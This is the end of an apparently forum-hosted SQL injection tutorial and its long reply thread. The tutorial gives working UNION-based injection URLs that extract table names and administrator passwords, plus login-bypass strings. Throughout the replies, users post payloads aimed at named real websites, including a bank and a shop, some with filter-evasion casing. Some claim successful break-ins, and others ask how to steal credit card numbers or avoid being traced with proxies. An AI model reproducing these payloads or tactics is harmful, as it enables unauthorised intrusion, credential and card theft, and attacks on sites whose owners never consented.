`information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess`

then once u have the right table name you should get the administrator password

then just do the same thing but type username instead of password

sometimes the password is hashed and you need to crack it.

then see if you can get the admin panel if you cant then try the admin panel finder script here

`http://www.darkc0de.com/c0de/p.....n_1.2_.txt`

now if the database is version 5 or up

type

`http://www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM`

`information_schema.tables--`

and that will display a list of all the tables

once you have your table name

type the same thing as 4

`http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--`

then the same with username

but now if it doesnt work far all those things

just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing

just play around with those

but sometimes we also need to use the version() or version@@

so sometimes UNION SELECT version (),password,3,4 FROM admintable–
or UNION SELECT version @@,password,3,4 FROM admintable–

well that about wraps up my sql injection tutorial.
you can contact me on
admin@hackersource.info
Have a nice day .

Peace

?

HackForum1 - May 30, 2010, 7:11 am

This tutorial is just ,copy and paste, from other site ,give credit to real creator.

?

???z?? - May 30, 2010, 9:34 am

nice tutorial helped me loads.

mothh - June 1, 2010, 10:45 am

Nice tut, but i did not find the passwords of the sites, it says that the table password not exist, that sucks, so can you help me please?

R3CkLeSs - June 3, 2010, 5:09 pm

hey im having trouble when i get to the union function.. this is what i have tried

<http://hiptv.mcot.net/listProgramCat.php?catId=1> union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2,3,24,25,26,27,28,29,30,31,32,33,34,35,
36,37,38,39,40

and

<http://hiptv.mcot.net/listProgramCat.php?catId=1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2,3,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40> im a little confused on what im

suppose to type. any help? thanks

minchoman - June 4, 2010, 9:28 pm

I need to hack a site that speaks ill of me, help me urgently

NoobH4CK - June 5, 2010, 8:17 pm

How do you hack a specific site???

Ronnoc l06 - June 6, 2010, 12:08 pm

Thanks 4 the tut.

too short

cowboy - June 6, 2010, 12:54 pm

thanks for the tutorials more of that

jhib09 - June 6, 2010, 7:27 pm

Great Tut man!

Very usefull

westly003 - June 8, 2010, 3:09 pm

YEah dude Nice tutorial But dude i forgot to hack again becoz almost 2 years ive tried to leave hackers groups now i came back to it but i dont remeber how to hack a site using SQL INJECTION but Im using SQL long ago i hack 50 more sites long ago but now i forgot to hack again maybe can you TEACH ME HOW to HACK AGAIN ???

Anonymous.7654 - June 12, 2010, 11:02 am

Nice tutorial it help me,thanks so much.

KryG - June 14, 2010, 12:01 am

Nice i just started this and it looks legitly fun to do :D

IN?INITY - June 14, 2010, 12:57 am

no tutorial has worked for me it never works past the Union+select+ part. Can anyone shed some light on my situation?

Konqi - June 15, 2010, 10:52 am

(Feb 9, 2009 02:01 AM)dan1el Wrote: [\[CITE\]](#) ==
if there is an error of some sort then it is vulnerable
SQL Inj can be without errors mate ;)

4L0n3 - June 16, 2010, 5:23 am

Great tutorial thanks mate :)

BloodZeed - June 16, 2010, 11:30 am

someone help me trying to find how many columns in the sql database when i do order by 1 2 3 etc i just keep getting Shop Categories Failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY c.catName' at line 1

green - June 23, 2010, 1:35 am

Thanks for the tut appreciate your donation.

I tried hacking this german boat hobbyist site parallel to reading this and it jumped to a warning page saying that they will save my IP for later tracking ?

I think it wont be a problem if i dont try again hehe

greetins from green

RoLLs Ro?CE - June 28, 2010, 1:13 am

Nice tut bro very helpfull for me

ViRuuSs - June 28, 2010, 1:25 pm

fuckin aye dude that was not simple to follow

Mad Vampire - June 29, 2010, 5:42 am

nice sharing but does not work for me... all the URLs redirect me to freelancer.com

GBESOSA300 - July 4, 2010, 1:59 am

THIS IS SO DETAILED!@!@!@ I LOV U2

fatehrawkey - July 7, 2010, 2:30 pm

good tut...mate..helpfull

MagicMushroom™ - July 11, 2010, 3:04 am

great job, i`m gonna try this

Xirene - July 11, 2010, 1:20 pm

I Tried to Hack A Website <http://projectgunz.hostigame.com/forum/forum.php> So There not The Real Site. Like there <http://forum.exgamers.net/admincp/> I Can Go But The Injection Failure . And We Have Only 5 Chance To Login. Any Suggestion How Can I Hack ProjectGunz!! Thanks HF

ttothebomb - July 11, 2010, 2:27 pm

(Jul 11, 2010 01:20 PM)Xirene Wrote: [\[CITE\]](#) I Tried to Hack A Website <http://projectgunz.hostigame.com/forum/forum.php> So There not The Real Site. Like there <http://forum.exgamers.net/admincp/> I Can Go But The Injection Failure . And We Have Only 5 Chance To Login. Any Suggestion How Can I Hack ProjectGunz!! Thanks HF
You should probably find some vulnerabilities in the site first..

Lounge Guru - July 14, 2010, 8:28 pm

Very Good Share

Thanks..

Antaeus - July 15, 2010, 6:02 pm

Awesome Tutorial. great job.

Adept - July 16, 2010, 7:59 am

What does this mean: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/absolu22/public_html/artist.php on line 121

It comes up on a lot of sites and is not your usual invalid syntax error.

Xirene - July 16, 2010, 1:05 pm

A Little Information For Login In A Forumotion Here Is How to go in the ACP

Inurl:login.forum?redirect=/admin/index.forum&part=admin&sid=51de93f54942f906ac7f6266fe65c1d6&admin=1

h4ck0r4u - July 16, 2010, 7:48 pm

awesome!!!! Thanks for the post:)

abcdefg2008 - July 19, 2010, 12:22 am

hey, what if it says Query failed: "The used SELECT statements have a different number of columns" after checking for order by whatever number? Can anyone help me on this? Thanks.

microy109 - July 20, 2010, 5:19 am

good work fellas i will like to you if you can teach me how to use sql to hacker in shopping admin to extract ccv from there?

microy109 - July 20, 2010, 4:49 pm

good work my friend i will you to expanciate on attacking store Admin for credit card on SQL injection as a new Hacker plan to learn more from you guys....

hacc - July 21, 2010, 9:12 am

Wait i dont understand after the union select :P

how are you using the query on 2?

vullux - July 21, 2010, 11:53 pm

i dont get the part (order by 1,2,3) etc... i think my site is vaurlnable because im logged in as admin and when i add ' i get an error

xl ReVeX lx - July 22, 2010, 6:29 am

hey man, amazing tut, helped me alot

thanks :)

??ID4RK-H4x0RI?? - July 26, 2010, 8:30 am

Nice tutorial dude ;) Keep posting more please -,9

Sho0ter - July 27, 2010, 10:30 pm

Quote:Adept

What does this mean: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/absolu22/public_html/artist.php on line 121

It comes up on a lot of sites and is not your usual invalid syntax error.

When this type of error comes. it means that the site is vul to Error Base SQL Injection.

PM me if u need any help.

Quote: abcddefg2008

hey, what if it says Query failed: "The used SELECT statements have a different number of columns" after checking for order by whatever number? Can anyone help me on this? Thanks. MOst probably the site is not vul to classic SQLi. Try error based or BSQLi.

Quote:hac

Wait i dont understand after the union select :P

how are you using the query on 2?

Wat problem r u facing.If u still need help.Just PM me and i will Help u out of it.

Semiazas - July 30, 2010, 8:38 am

i'm not well versed at injecting, but i was just messing around on a site i was visiting....my question is, i tried putting the ' at the end of the url, nothing happend, but when i put it at the end of the login url, i got a 404 error that popped up within the site login page. it didn't redirect me to an error page, it just popped up but everything stayed the same...is it vulnerable? thanks in advance for any input

jinrahul - July 31, 2010, 7:16 am

thanks for nice tutorial, nice explanation :)

fullofschmitz - August 2, 2010, 5:06 am

this isnt a tut at all why is this popular

botnous - August 2, 2010, 3:24 pm

Nice tut

I'm going to try this tonight

Rajcyberfox - August 5, 2010, 4:16 am

Thanks..but how we ll know that the site is vulnerable?

apexmall - August 6, 2010, 10:38 am

good tutorial , i like it

UNU_Hacker - August 10, 2010, 4:46 pm

Good tutorial!

Thanks Brother

y2gxmod - August 15, 2010, 5:36 am

most detailed sql injection tut i've seen here at hf . . .

awesome!!! thanks!!!

Eminent - August 15, 2010, 8:31 am

Thanks for the tut, I just got in as an admin on my schools website =)

nirved_g - August 16, 2010, 12:38 pm

what you had given is completely correct but quite outdated also it doesnt work anywhere

GayFish - August 18, 2010, 3:58 am

Not bad again. Taught me a few different ways to do things.

stryke - August 18, 2010, 1:12 pm

Very good tutorial! Thank you.

GayFish - August 19, 2010, 5:53 am

I like the "what is SQL injection part :)"

FaceBookHacker™ - August 20, 2010, 9:48 am

The initial list of "sql injections" that you posted will not work -- syntax errors in each and every one of them (even assuming that the site/field they're injected into is vulnerable).

'or'1'='1 should be ' or '1'='1

'or'x'='x should be ' or 'x'='x (and is identical to the first)

' or 'x'='x'oe--' should be ' or 'x'='x' -- (and is identical to the first and second in nature)

'or'1=1' -- should be ' or 1=1 -- (and is identical to the first, second, and third in nature)

C|EH, ECSA, C|EI, PCI QSA

<http://www.halock.com>

Halock Security Labs

Xtr0id - August 21, 2010, 10:07 am

what if when i put in "order by 1" it still gives error?

does this mean it has no columns?

(same with 0)

UNU_Hacker - August 22, 2010, 1:55 pm

Nice Tutorial for beginners Brother

UNU_Hacker - August 22, 2010, 2:57 pm

(Feb 10, 2009 08:34 AM)grasmanek94 Wrote: [\[CITE\]](#) good tut.. i saw somewhere a vid... try this vid:
Code http://#.com/files/132125390/sql_injection.wmv seems exact the same thingy ;pLink is Dead
Brother?

Try To Upload Another Mirror?

3l.n1n0 - August 23, 2010, 8:13 am

I'm doing as you have described in the tut.

After knowing the number of columns, <http://www.xxxx.com/index.php?catid=1> union select
1,2,3,4,5,6,7--

I'm not getting the the columns which are vulnerable to attack. I'm mean the web page is not showing any numbers.

I've tried it on a number of vulnerable websites. The same problem persists. Please help!

PlickaMaterna - August 23, 2010, 12:16 pm

?catid=1 and 1=0 union all select 1,2,3,4,5,6,7--

?catid=99 union all select 1,2,3,4,5,6,7--

?catid=-1 union all select 1,2,3,4,5,6,7--

and so on.

You need to null

naitik333 - August 24, 2010, 9:03 am

hey when i put ' after index.php? i get 404 not found error when i am logged into the site.. but when i am not logged on and i am guest.. i don't get any error... so is this site vulnerable????

can this site be hacked???

PlickaMaterna - August 24, 2010, 9:53 am

Yes, but when you log in they probably take your IP so they will have no problems catching you. It might be injectible.

3l.n1n0 - August 24, 2010, 12:05 pm

(Aug 23, 2010 12:16 PM)Plitvix Wrote: [CITE](#) ?catid=1 and 1=0 union all select 1,2,3,4,5,6,7--

?catid=99 union all select 1,2,3,4,5,6,7--

?catid=-1 union all select 1,2,3,4,5,6,7--

and so on.

You need to null

Thanks for explaining me.

I now know the number of columns and the vulnerable once and also the version (4.1.22-standard). I know that it is now the guessing part.

I can't really get the right thing, really getting pissed of after hours of guessing.

Please tell me the most probable cammands to guess of as I can't think anymore.

Please note, I'm new to all this, and this is my first website.

firaaun - August 25, 2010, 3:03 pm

Nice TUt but has neone defaced ne site wid help of this tut ??

Fetes - August 26, 2010, 3:00 am

@ firaaun

I didn't deface a site but,

i found a admin logon page

Typed in admin and use one the of passwords listed and it said something about a fatal error, so i tried a different password and BAM! it logged me into admin :)

I tried again and first time, it logged me in..

I found the admin login and password just sitting there but i didn't do anything :P

BTW, cheers for this TuT

Mcool - August 26, 2010, 7:52 am

thanks dude nice tut w8ing for more

alertdevil - August 27, 2010, 3:53 am

great work!! please can you give me few site name which can be hacked..

laniko - August 29, 2010, 8:27 pm

man , nice job, but this pages are fucking shit you don't have nothing when u hack them , how to hack some your web like the forums on forumotion.com , I tried with SQL injection on the forums , and I get nothing :S It doesn't work on forumotion.com

PlickaMaterna - August 30, 2010, 6:21 am

It doesnt work on most forums because they are all patched.

Feather - August 30, 2010, 7:01 am

This is great, thanks mate!

jayjay328 - August 31, 2010, 3:25 am

really great tutorial thks for posting

8doz - August 31, 2010, 11:52 am

yes it's a nice tut, thank you for sharing.

benett333 - September 2, 2010, 10:01 am

Vey nice tutorial, thanks for posting

Goldbach - September 6, 2010, 10:17 am

Nice tutorial though kinda confusing for my noob hacking skills =[

qqwq - September 6, 2010, 9:23 pm

Ahh.. So confusing :/ Can you pm me on what to do at the end?.. with the columns?

shadow_night - September 7, 2010, 10:55 am

Thank you for this tutorial :)

spidywick - September 10, 2010, 12:09 am

cool tutorial...thanx man :)

GeorgeHacks - September 11, 2010, 10:33 am

i dont get how you get the dork, what do you type in google to get the website to hack??

ajorixss - September 12, 2010, 6:29 pm

im trying to access tuut site but unfortunately it is access forbidden what to do?

PlickaMaterna - September 12, 2010, 11:45 pm

Bypass filters using encoding, special codes or other commands.

Give the URL here, we like challenges

JAB4EVER - September 13, 2010, 3:56 pm

Great TUT man. Very detailed and easy to follow.

Krayzie Bone - September 16, 2010, 8:45 am

I did this and i fucked up a website but i didn't use a proxy am i gonna get caught PM me answer

plzz

jausten - September 17, 2010, 4:49 am

I am going to try to begin to understand this even as a newbie.

PRODIGY™ - September 17, 2010, 6:14 am

Being a newbie it ought to help you. It'll be easy, if you focus. Good luck

VIPhiggz10 - September 18, 2010, 10:26 am

thanks alot this helped loads :D great thread +rep

bobbyroylee - September 22, 2010, 3:58 am

Man, I've gone to literally 40+ sites, all random ones that obviously have a poor programmer. Absolutely none of the sql injections have worked, not even with havij. D:

Trojan2010 - September 23, 2010, 7:20 pm

Gud i luv ur style u r realy gud pls keep it up

NEW KID ON THE BLOCK - September 24, 2010, 3:51 am

when i add ' to the end of the vulnerable site it loads normally mate..please help.

PlickaMaterna - September 25, 2010, 3:48 am

(Sep 24, 2010 03:51 AM)NEW KID ON THE BLOCK Wrote: [\[CITE\]](#) when i add ' to the end of the vulnerable site it loads normally mate..please help.How do you know it is vuln then?

bobymishra510 - September 25, 2010, 11:39 am

Sir please guide me about asterisk hack for making free voip call .

Thank you in advance.

Ace of Sp?des - September 26, 2010, 9:48 am

It is one thing I don't understand

<http://www.xxxx.com/index.php?catid=1> union select
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--

Why the numbers 32,58,32? How do I know what numbers to use, is it always 32,58,32?

EDIT: Nice example website by the way

djdj - September 29, 2010, 8:48 am

thanks for clear guide man!im gonna try this out!

funtime111 - October 2, 2010, 10:02 am

top tutorial. very useful.

nokia2mon2 - October 5, 2010, 1:40 pm

nice tutorial thanks

BR

.Nick. - October 6, 2010, 2:33 pm

If you go logged in to the admin via ' or '1'='1
would you use a proxy when making changes?

PlickaMaterna - October 7, 2010, 4:57 am

Yes.

I use proxy only if I enter admin panel. for plain SQL injecting, IMO there is no need for proxy

.Nick. - October 7, 2010, 6:46 am

do you use proxy websites or proxy ip+ports?

iglibaba - October 11, 2010, 11:55 am

thank you buddy it works nice tutorial..

Cyber`SoLdier - October 16, 2010, 6:16 am

Keep up the good work. Thnx

unlimitedhacking - October 17, 2010, 7:20 am

Dude do you think it is safe to do it without proxy?

underground_devil - October 17, 2010, 8:41 pm

(Oct 17, 2010 07:20 AM)unlimitedhacking Wrote: [\[CITE\]](#) Dude do you think it is safe to do it without proxy?

its safe till you are not going to caught

Obscures - October 18, 2010, 9:39 pm

Great tutorial, thanks for the explanation :)

CursedPX - October 22, 2010, 8:09 am

Thanks for this TuT bro..

Good Job :)

Astronome - October 27, 2010, 8:03 am

thanks for the best tutorial ever

HK-HK - October 28, 2010, 6:42 am

www.yasour.org hacking please

Fo0xy.One - October 30, 2010, 1:13 am

Thanks but for now it didnt helped me. Maybe it will be useful for me in the future.

Good job :)

gbro94 - October 31, 2010, 8:00 am

Hi

on alot of sites where i use the
admin

' or '1'='1

i get acces , but when i try do click on like modify or something

it just kicks me out, someone knows what im doing wrong or is it just the site/script ?

1337pam - November 2, 2010, 1:21 pm

awesome tut, thankss a lot

StEp Up! - November 3, 2010, 1:17 am

thanks buddy nice tut..ill try it

almb1111 - November 12, 2010, 8:16 am

i am having problems plz help me .

I am trying to hack <http://www.hawkingtech.com/products/index.php?CatID=1> .

I added a ' and it gave me an error , so it is vulnerable .

I used the "order by " and found at it has 12 columns .

But when i put <http://www.hawkingtech.com/products/index.php?CatID=1> union select 1,2,3,4,5,6,7,8,9,10,11,12-- it gives me an error . No numbers show as you said .

Plz tell me what to do .

th3peacemaker - November 13, 2010, 8:15 am

check this

<https://hackforums.net/showthread.php?tid=699457>

try another site ;D

ha_ck - November 13, 2010, 5:24 pm

this good lesson

it's learn my how to hack some sites

Epizen - November 13, 2010, 9:30 pm

:/

<http://www.nameplate.net/newsID.php?id=1%20union%20select%201,2,3,4,5-->

Hacked by a certain someone. This brings up the numbers 2 and 4, however the next query in the TuT doesn't work and returns

http://www.nameplate.net/newsID.php?id=1%20union%20select%201,CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29,3,4--

Tutorial doesn't specify what happens if this part doesn't work. ^^,

h1t4k3 - November 14, 2010, 1:58 am

A good tutor, nice share..

johnnyohm - November 14, 2010, 5:12 am

hey man nice tutorial but i cant do the union thing.. when i do it no number is displayed :(i tried several sites but no numbers display when i do union all select or union select.. please help me out... Thanks! :)

johnnyohm - November 14, 2010, 5:15 am

hey man nice tutorial but i cant do the union thing.. when i do it no number is displayed :(i tried several sites but no numbers display when i do union all select or union select.. please help me out... Thanks! :)

Nuiok - November 19, 2010, 8:51 am

This TUT is a copy from a site which was posted 2:17 am
April 2, 2009

<http://tinkernut.com/forum/hacks-for-everything/hacking-websites-mysql-injection-basics?value=exploit&type=1&include=1&search=1&ret=all>

feweR - November 20, 2010, 8:13 am

Lol nice tutorial. Im begginer and this tut is unique good job

bahebakhabibi2009 - November 21, 2010, 2:51 am

thanks alot for this good tutorial it helps good :)

RAMONATER - November 21, 2010, 11:47 am

Hey man thanks for the tutorial, very nice and well explained although i'm having slight problems, I am just a newbie but have found numerous errors on sites when i put in the catid=1' i get (error) then when i use order by 1-- (error) order by 1,2-- (error) order by 1,2,3,4-- (error) going up more and is all just errors so how do i know how many columns are ther if i'm getting errors on every one is this right ?

I got my error messeage at start when i entered /index.php?catid=1' so this should work right ?

TarGuist - November 22, 2010, 4:22 pm

nie man great
i which i know

in cash - November 23, 2010, 7:44 am

<http://www.clubrugby.co.uk/showproduct.php?id=-527+union+select+1,2,3,4,version%28%29,6,7,8,9,10,11,12-->

logstarful - November 23, 2010, 7:59 am

I still didnt understand what is SQL injection/ sql queries and what do u mean by auth bypass?

Rusko - November 23, 2010, 7:58 pm

Nice, helped me out alot!

Anonymous_Nobody - November 23, 2010, 8:51 pm

Can you do this to a website like xbox.com to steal accounts?

in cash - November 24, 2010, 1:33 am

(Nov 23, 2010 09:51 PM)Anonymous_Nobody Wrote: [\[CITE\]](#) Can you do this to a website like xbox.com to steal accounts?

I doubt that who that will fill up xbox.com

[http://www.parishuttle.com/index.php?pays=-3+union+select+1,2,3,4,group_concat\(table_name+separator+0x7c\),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+information_schema.tables+where+table_schema=0x7061726973687574746c6574657874--](http://www.parishuttle.com/index.php?pays=-3+union+select+1,2,3,4,group_concat(table_name+separator+0x7c),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+information_schema.tables+where+table_schema=0x7061726973687574746c6574657874--)

xdustin - November 25, 2010, 5:11 am

Need a little bit of help if possible.

If i do this

<http://www.xxx.com/admin/index.php?email&=1>

this is the error i get :

```
SELECT id, str_email FROM admin WHERE str_email="" AND str_password= AND bln_inactive <> 1
```

Not sure what i should do now?

xdustin - November 25, 2010, 5:12 am

double post sorry lagged.

darkknight1 - November 25, 2010, 6:29 pm

thank alot for the tutorials but i will like to get the automated version of the sql injection..pls, can anybody help me with it....

lord_edz - November 25, 2010, 6:30 pm

not well explained.... the time this created the author was sleepy....

in cash - November 26, 2010, 6:22 am

SHOP >>

[http://www.peacockalleygifts.com/collection.php?id=-43+/*!UnIoN+SeLeCt*/+group_cOnCaT\(coLuM N_naMe\)+from+information_schema.%60columns%60+WHERE+TabLE_NaME=0x72656769737472795f6974656d--](http://www.peacockalleygifts.com/collection.php?id=-43+/*!UnIoN+SeLeCt*/+group_cOnCaT(coLuM N_naMe)+from+information_schema.%60columns%60+WHERE+TabLE_NaME=0x72656769737472795f6974656d--)

BANK >>

[http://www.bakhtarbank.com/subpage.php?id=-15+/*!UnIoN+SeLeCt*/+group_cOnCaT\(tAbLE_naMe\)+from+information_schema.%60tables%60+WHERE+TabLE_SCHEma=0x626b626b6162756c5f626b626462--](http://www.bakhtarbank.com/subpage.php?id=-15+/*!UnIoN+SeLeCt*/+group_cOnCaT(tAbLE_naMe)+from+information_schema.%60tables%60+WHERE+TabLE_SCHEma=0x626b626b6162756c5f626b626462--)

Igniti0n - December 1, 2010, 10:18 am

cheers, that really helped!

BeLLum - December 1, 2010, 4:59 pm

thanks man, i learned alot from this

in cash - December 2, 2010, 8:10 am

Rockstargames

[http://www.rockstargames.com/classics/?id=2+and+1=0+union+select+1,2,3,4,5,6,concat_ws\(0x3a,version\(\),database\(\),user\(\)\),8,9](http://www.rockstargames.com/classics/?id=2+and+1=0+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9)

psomani - December 2, 2010, 10:04 am

The most working is

1'or'1'='1

This is found in almost all cases.

Skjerpings - December 3, 2010, 4:41 pm

(Dec 2, 2010 11:04 AM)psomani Wrote: [\[CITE\]](#) The most working is

1'or'1'='1

This is found in almost all cases.that didn't work. hmm ?
forget it..worked.. :D

mor02 - December 4, 2010, 3:56 am

<http://www.xxxx.com/index.php?catid=1> union select
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
the db type and version will pop up on the screen

i dont iunderstand this queriy if for example i found columns id what i will do
thanx

pdz - December 4, 2010, 9:23 am

thanks my brother ,good job

Nebula - December 5, 2010, 2:30 pm

Hanks great tut, it's helping me to hack a site right now, thanks.

Y-Trick™ - December 6, 2010, 11:12 am

Thanks, Dude.

It's very usefull =)

tequila - December 7, 2010, 12:59 pm

(Dec 4, 2010 04:56 AM)mor02 Wrote: [\[CITE\] http://www.xxxx.com/index.php?catid=1](http://www.xxxx.com/index.php?catid=1) union select
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
the db type and version will pop up on the screen

i dont iunderstand this queriy if for example i found columns id what i will do
thanx

Im pretty sure its explained in this tutorial, but im just bored.

Anyhow, lets go over the specific query at first:

Code index.php?catid=1 union select 1,concat_ws(0x3a,user(),database(),version()),3,4--

First off it seems that we have 4 columns available for this current example and the second column is vulnerable.

So as you can see here his extracting info from the second column using

Code concat_ws(0x3a,user(),database(),version())

concat_ws stands for "concatenate with separator" what means that it parses strings together and places a seperator between strings. In this example we have hex code 0x3a (thats :).

If we want to get more info out of that query we need to just ask the database. Let's do that now.

Code index.php?catid=1 union select 1,group_concat(table_name),3,4 from
information_schema.tables where table_schema=database()--

So what we do here is (in simple terms) that we are asking the second column to group_concat (that means concatenate in groups) table names from information_schema.tables where table_schema=database().

The remaining 3,4 after group_concat are the column numbers, keep in mind that you must always drag them along for the query to work!

If you have any other questions feel free to pm.

osean - December 7, 2010, 5:13 pm

??

very very nice post..ceer for all :D

bdman - December 9, 2010, 10:11 pm

nice post....but not worked

Happeh - December 11, 2010, 4:09 am

Thanks for this. Helped me grasp the basics.

WinnieThePooh - December 11, 2010, 5:55 am

Nice dude<3 But your forums layout is fucked.

ilovepizzaa - December 11, 2010, 2:28 pm

Thank you thanks

Thank you thanks

Thank you thanks

GosthShadow - December 18, 2010, 12:05 am

<http://demo.webwiznewspad.com/admin.asp> go here and just click login xD

hm overlooked the demo -.-"

hacker300 - December 20, 2010, 7:55 am

LEECHER OR WHAT? cyberhackers.org/thread-538.html

hacker300 - December 20, 2010, 7:55 am

LEECHER OR WHAT? cyberhackers.org/thread-538.html

tayraN - December 20, 2010, 6:12 pm

nice post mate, this helped me :)

subzer00 - December 21, 2010, 3:48 pm

Now, when you say order of.. do you do

/index.php?catid= 1

/index.php?catid= 2

/index.php?catid= 3

and so on and so forth until you get the error?

stubz - December 25, 2010, 2:14 pm

i always get confused on the "order by 1--" bit, where do i type it in and stuff?

slimshadyLP - January 1, 2011, 5:37 pm

thanks dude .. great tutorial ! Tested and it works

giannis28 - January 1, 2011, 11:57 pm

nice tut!!Thanks!!???

PanParagon - January 2, 2011, 6:41 am

(Dec 25, 2010 03:14 PM)stubz Wrote: [\[CITE\]](#) i always get confused on the "order by 1--" bit, where do i type it in and stuff?

you type it in page url, where you type: www.google.pl :D

so: site.pl/index.php?id=10 order by 1-- :)

and i have question, why you didn't post a typical errors of sql injection like:

Code Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION' (for: article.php?id=139 union all select 1,2,@@version,4,5,6,7,8,9--)Code The used SELECT statements have a different number of columns [i correctly ordered site...]Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 5-- or peoplelink2 = 40 order by 5-- or peoplelink3 = 40 order by 5' at line 1
any help?

The Axe - January 2, 2011, 2:21 pm
Sweet hacked like 50 sites!!

The Axe - January 2, 2011, 2:21 pm
Sweet hacked like 50 sites!!

SIM-209986 - January 3, 2011, 5:52 am
What if I get 403 Error at this point:

union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

tequila - January 3, 2011, 6:42 am
Then your facing WAF and this message is way too short.

R 1 P A G 3 - January 4, 2011, 8:47 am
Very nice.

Um, this really is intresting,

-Tony

Nerv - January 4, 2011, 10:17 pm
(Jan 3, 2011 06:52 AM)MaXim Wrote: [\[CITE\]](#) What if I get 403 Error at this point:

union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
means that sql is pretty much fucked on that site

amn3sys - January 7, 2011, 3:22 pm
bookmarked so i can read it tomorrow :) --

Peltraw - January 8, 2011, 3:54 am
Nice.
Helped alot, keep it up. c(;

MRHawt - January 13, 2011, 9:07 pm
<http://www.lcoastpress.com/journal.php?id=7> union all select 1,2,3,4,5,6,7,8,9--

This gives me "The used SELECT statements have a different number of columns".
what am i supposed to do next? Cant find any column no which is vulnerable.

Dimitrije - January 14, 2011, 6:21 am
NOTE not all sites are vulnerable. ! So what we do with sites which are non vulnerable on SQL Injection??

DAG - January 15, 2011, 12:01 am

I know theres 24 columns on this one website I have, but when I go to do the "union select" part I got confused am I supposed to list all numbers before 24 or something? its not realley explained...

TheLizardKing - January 16, 2011, 1:51 pm

(Jan 14, 2011 07:21 AM)Dimitrije Wrote: [\[CITE\]](#) NOTE not all sites are vulnerable. ! So what we do with sites which are non vulnerable on SQL Injection??

I would also like to know the answer to this. From what I can see, on most sites this does not work. What is the alternative?

newena - January 17, 2011, 12:46 am

thanks... great post ! ! !

xadonyxus - January 17, 2011, 8:10 am

I got some website shopadmin tables, and in order column I can't get the number of credit cards. It only shows me **4251 . I mean only the lasts 4 digits. What can be done? Is this because of havij free and dont let me see the all cc number? Or some websites encrpts credit cards detail? If so, what can be done to unencrypt them. Thanks.

mass1993 - January 19, 2011, 10:53 am

thanks very match my man..

K.s.A haCKer AbAdi - January 20, 2011, 2:04 am

thanks

nice tut!!~

wtf still too short

wh1teboy - January 20, 2011, 9:08 pm

i couldnt figure out where to find a vulnerable site or how to get to the administrator panel

DimiHacker - January 21, 2011, 6:22 am

Nice tut! Although I've yet to find a site with such a small number of tables :/

autorunman22 - January 22, 2011, 12:08 am

How and where do i type all the codes to inject? Yes im totally noob.

GosthShadow - January 23, 2011, 4:12 am

(Jan 22, 2011 01:08 AM)autorunman22 Wrote: [\[CITE\]](#) How and where do i type all the codes to inject? Yes im totally noob.

Url bar?

Message to shoort ?

Phaker - January 23, 2011, 7:15 pm

Thanks man i will try out later when ive got some time on my hands. Great work :D

nazano - January 24, 2011, 12:32 pm

?Hi,How do you get your Dork on this site?

Such as www.facebook.com

Skz0r_ - January 24, 2011, 4:14 pm

Ok,, Would like to start of by saying good tutorial.

Now that being said I have a few questions for you.

When I use these dorks in google, I can't seem to find any specific site that has the proper specifications to allow such an attack, to retrieve passwords from the site.

Quote:inurl:index.php?catid="

"inurl:news.php?catid="

"inurl:index.php?id="

"inurl:news.php?id="

or the best in my view "full credit to qabandi for discovering this"

"inurl:".php?catid=" site:xxx"

I do get the errors, but when I input order by 1-- ... Nothing happens or just the same error pops up. And on some I go threw pages of the site, I tried skipping ahead on some, just because when I got to 50, I was to lazy to keep going so I tried 500, then 1000 right away just to see if i would get an error. But no error. Why is this am I doing somehting wrong? Or do I just need to find another site? Just curious I'm sure this might help out allot more people on here too if you care to explain. ?

Dalina - January 25, 2011, 1:39 pm

Good totutrial about sql injection :D

autorunman22 - January 26, 2011, 9:14 am

Im sorry, but where do i type all of that codes? Help please

(Jan 23, 2011 05:12 AM)GosthShadow Wrote: [\[CITE\]](#) Url bar?

Message to shoort ?

hey thanks :) to be more specific, should i append it on a target vuln site? I mean like this

www.blabla.com/bla=1[codes to inject]

do u get my point? Thanks again.

Dalina - January 26, 2011, 9:25 am

Very nice totutrial... :D :D

Very nice totutrial... :D :D

prophotographr - January 26, 2011, 6:33 pm

^^^yes that is how you do it

the problem that i keep getting with a lot of sites is this... "The used SELECT statements have a different number of columns" after i do union select

is there anything that can be done about this, or is the site just not that vulnerable?

Tacitus - January 28, 2011, 1:37 am

Good looking and easy to understand tutorial, i'll give it a try :D

autorunman22 - January 28, 2011, 2:46 am

what if you got a specific target like www.target.com

where do you find its vulnerable? Cause it dont have id=<number> somebody care to reply.

TheVBScripter - January 29, 2011, 3:21 am

Worked perfectly for me :)

Tried on:

<http://www.dmkstone.com/admin/login.asp>

thanks alot :)

cuteboy28 - January 30, 2011, 1:22 am

Good job.. quite a learning stuff.. I am new but kinda felt easy to start with it..?

warx - January 30, 2011, 4:33 pm

thank you so much
helped me

Aneesraja23 - January 31, 2011, 6:25 am

wtf!?! i dont understand the "inurl:admin.asp" i dont get that .asp shit.

(Jan 29, 2011 04:21 AM)TheVBScripter Wrote: [\[CITE\]](#) Worked perfectly for me :)

Tried on:

<http://www.dmkstone.com/admin/login.asp>

